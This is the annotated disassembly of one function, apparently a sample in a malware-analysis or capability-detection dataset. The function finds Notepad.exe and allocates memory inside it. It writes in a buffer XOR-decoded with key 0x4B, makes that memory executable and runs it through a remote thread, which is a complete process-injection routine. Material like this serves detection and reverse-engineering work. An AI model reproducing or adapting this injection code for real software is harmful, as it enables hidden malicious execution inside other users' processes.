Function at 0x140001070
Capabilities:
Create thread
Encode data using xor
Enumerate processes
Inject thread

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
push rdi
sub rsp, 0x4b0
movaps xmmword [rax - 0x18], xmm6
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x490], rax
lea rcx, [rsp + 0x290]
mov edx, 4
lea rax, [0x1400032b0]
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
lea rax, [rax + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rcx - 0x70], xmm1
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rcx - 0x60], xmm0
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rcx - 0x50], xmm1
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rcx - 0x40], xmm0
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rcx - 0x30], xmm1
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rcx - 0x20], xmm0
movups xmmword [rcx - 0x10], xmm1
sub rdx, 1
jne 0x1400010b1
xor ebx, ebx
lea ecx, [rdx + 2]
mov ebp, ebx
mov esi, ebx
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x14000116e
lea rdx, [rsp + 0x50]
mov dword [rsp + 0x50], 0x238
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x14000116e
nop word [rax + rax]
lea rdx, str.Notepad.exe
lea rcx, [rsp + 0x7c]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
test eax, eax
je 0x14000116a
lea rdx, [rsp + 0x50]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140001140
jmp 0x14000116e
mov esi, dword [rsp + 0x58]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movdqa xmm6, xmmword [str.KKKKKKKKKKKKKKKK_]
lea rcx, str.SUCCESSFUL_n
mov dword [rsp + 0x40], ebx
mov dword [rsp + 0x44], ebx
mov qword [rsp + 0x48], rbx
call fcn.140001010
mov r8d, esi
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
jne 0x1400011c4
lea rcx, str.Failed_to_get_process_handle_n
call fcn.140001010
lea eax, [rdi + 1]
jmp 0x14000137c
mov edx, esi
lea rcx, str.Got_a_handle_to_process___d__n
call fcn.140001010
xor edx, edx
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov r8d, 0x200
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rsi, rax
test rax, rax
jne 0x14000120d
lea rcx, str.Failed_to_allocate_memory_n
call fcn.140001010
lea ebx, [rsi + 1]
jmp 0x140001368
mov ecx, ebx
lea rax, [rsp + 0x2a0]
nop word [rax + rax]
movdqu xmm0, xmmword [rax - 0x10]
add ecx, 0x40
lea rax, [rax + 0x40]
xorps xmm0, xmm6
movdqu xmmword [rax - 0x50], xmm0
movdqu xmm1, xmmword [rax - 0x40]
xorps xmm1, xmm6
movdqu xmmword [rax - 0x40], xmm1
movdqu xmm0, xmmword [rax - 0x30]
xorps xmm0, xmm6
movdqu xmmword [rax - 0x30], xmm0
movdqu xmm0, xmmword [rax - 0x20]
xorps xmm0, xmm6
movdqu xmmword [rax - 0x20], xmm0
cmp ecx, 0x200
jb 0x140001220
movsxd rax, ecx
cmp rax, 0x200
jae 0x140001291
lea rax, [rsp + rax + 0x290]
nop word [rax + rax]
xor byte [rax], 0x4b
lea rax, [rax + 1]
inc ecx
cmp ecx, 0x200
jb 0x140001280
lea rax, [rsp + 0x48]
mov r9d, 0x200
lea r8, [rsp + 0x290]
mov qword [rsp + 0x20], rax
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1400012cf
lea rcx, str.Failed_to_write_to_memory_n
call fcn.140001010
mov ebx, 1
jmp 0x140001368
mov rdx, qword [rsp + 0x48]
lea rcx, str._d_bytes_written_n
call fcn.140001010
lea rax, [rsp + 0x44]
mov r9d, 0x20
mov r8d, 0x200
mov qword [rsp + 0x20], rax
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
jne 0x140001319
lea rcx, str.Failed_to_give_RE_permissions_n
call fcn.140001010
mov ebx, 1
jmp 0x140001368
lea rax, [rsp + 0x40]
mov r9, rsi
mov qword [rsp + 0x38], rax
xor r8d, r8d
mov qword [rsp + 0x30], rbx
xor edx, edx
mov dword [rsp + 0x28], ebx
mov rcx, rdi
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThreadEx]
mov rbp, rax
test rax, rax
jne 0x140001358
lea rcx, str.Failed_to_get_a_handle_to_thread_n
call fcn.140001010
jmp 0x140001368
mov edx, dword [rsp + 0x40]
lea rcx, str.Got_thread_handle__0x_x__n
call fcn.140001010
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
mov rcx, qword [rsp + 0x490]
xor rcx, rsp
call fcn.1400013c0
lea r11, [rsp + 0x4b0]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop rdi
ret